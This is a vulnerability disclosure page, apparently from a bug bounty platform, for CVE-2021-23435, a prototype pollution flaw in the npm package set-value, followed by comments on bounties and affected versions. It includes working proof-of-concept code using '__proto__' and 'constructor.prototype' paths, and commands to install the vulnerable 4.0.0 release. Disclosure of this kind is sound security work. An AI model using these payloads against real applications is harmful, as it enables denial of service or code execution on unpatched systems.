Prototype Pollution in jonschlinkert/set-value

0

Valid Reported on Aug 30th 2021

✍️ Description

`set-value` package is vulnerable to Prototype Pollution. The set function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.

🦹 Proof of Concept

Create the following PoC file:

```
// poc.js
var setValue = require("set-value")
let obj = {}
console.log("Before: " + {}.polluted)
setValue(obj, [['__proto__'], 'polluted'], 'Yes! Its Polluted')
console.log("After: " + {}.polluted)
```

Execute the following commands in the terminal:

```
npm i set-value # Install affected module
node poc.js #  Run the PoC
```

Check the Output:

```
Before : undefined
After : Yes! Its Polluted
```

💥 Impact

It may lead to Information Disclosure/DoS/RCE.

CVE
CVE-2021-23435
(Published)

Vulnerability Type
CWE-1321: Prototype Pollution

Severity
High (7.3)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

ready-research
@ready-research
pro

Fixed by

ready-research
@ready-research
pro

This report was seen 883 times.

ready-research submitted a patch a year ago

ready-research a year ago Researcher

var setValue = require("set-value")
let obj = {}
console.log("Before: " + {}.polluted)

```
setValue(obj, [['constructor'],['prototype'], 'polluted'], 'Yes! Its Polluted')
console.log("After: " + {}.polluted)
```

Jon Schlinkert validated this vulnerability a year ago

ready-research has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

ready-research a year ago — Researcher

@admin @adam please read the comments in https://github.com/jonschlinkert/set-value/pull/33

Jamie Slome a year ago — Admin

@ready-research - I have commented on the GitHub pull request.

Chad Whitacre a year ago

Based on the PR in `set-value` it seems that @ready-research should be awarded the fix bounty. Is there no way to do that without the repo maintainer's cooperation? Clearly you can't force the repo maintainer to cooperate, and it seems unfair to @ready-research not to override somehow here.

Jamie Slome a year ago — Admin

@chad - we are improving our automation in this - generally our system would have picked it up if the permalink reference in the report had matched that of the fix.

But seeing as @ready-research's fix was used - we will definitely look to reward the bounty here.

Thanks for your feedback! 🎉

Jamie Slome marked this as fixed with commit b057b1 a year ago

ready-research has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Jamie Slome a year ago — Admin

@ready-research - just a heads up that in the future, avoid opening the PR in public, as it can break the responsible disclosure.

Great work all!

ready-research a year ago — Researcher

@chad Thank you.

@jamie Yeah, sure. Thanks.

webbusiness2019 a year ago

where to create poc.js?
its throws an error:
TypeError: Object keys must be strings or symbols
at validateKey (E:\WebBusiness\App\MyBusinessCard\node_modules\set-value\index.js:24:11)
at setValue (E:\WebBusiness\App\MyBusinessCard\node_modules\set-value\index.js:141:5)
at Object.<anonymous> (E:\WebBusiness\App\MyBusinessCard\poc.js:5:1)

ready-research a year ago — Researcher

@webbusiness2019 This issue got fixed in the latest version. Please try this in vulnerable version.

webbusiness2019 a year ago

this error is totally new for me, so I can not get your point and when I am a new in react-native so don't know where to find vulnerable version...
can you please explain in detail

ready-research a year ago — Researcher

@webbusiness2019 set-value 4.0.0 is vulnerable. Fixed in 4.0.1. Use the below commands to install the vulnerable version and run the code.

```
npm i set-value@4.0.0
node poc.js
```

Jacob Wejendorp a year ago

According to my testing, `v2.0.1` is another safe release. If you we can confirm this, can you help get the CVE/CPE corrected to show `< 2.0.1, >= 3.0.0 < 4.0.1`.

Jamie Slome a year ago Admin

@jacob - Snyk published this CVE, so your best bet is to get in touch with their security researcher team ❤️

Jacob Wejendorp a year ago

Thanks Jamie, will do.

Sign in to join this conversation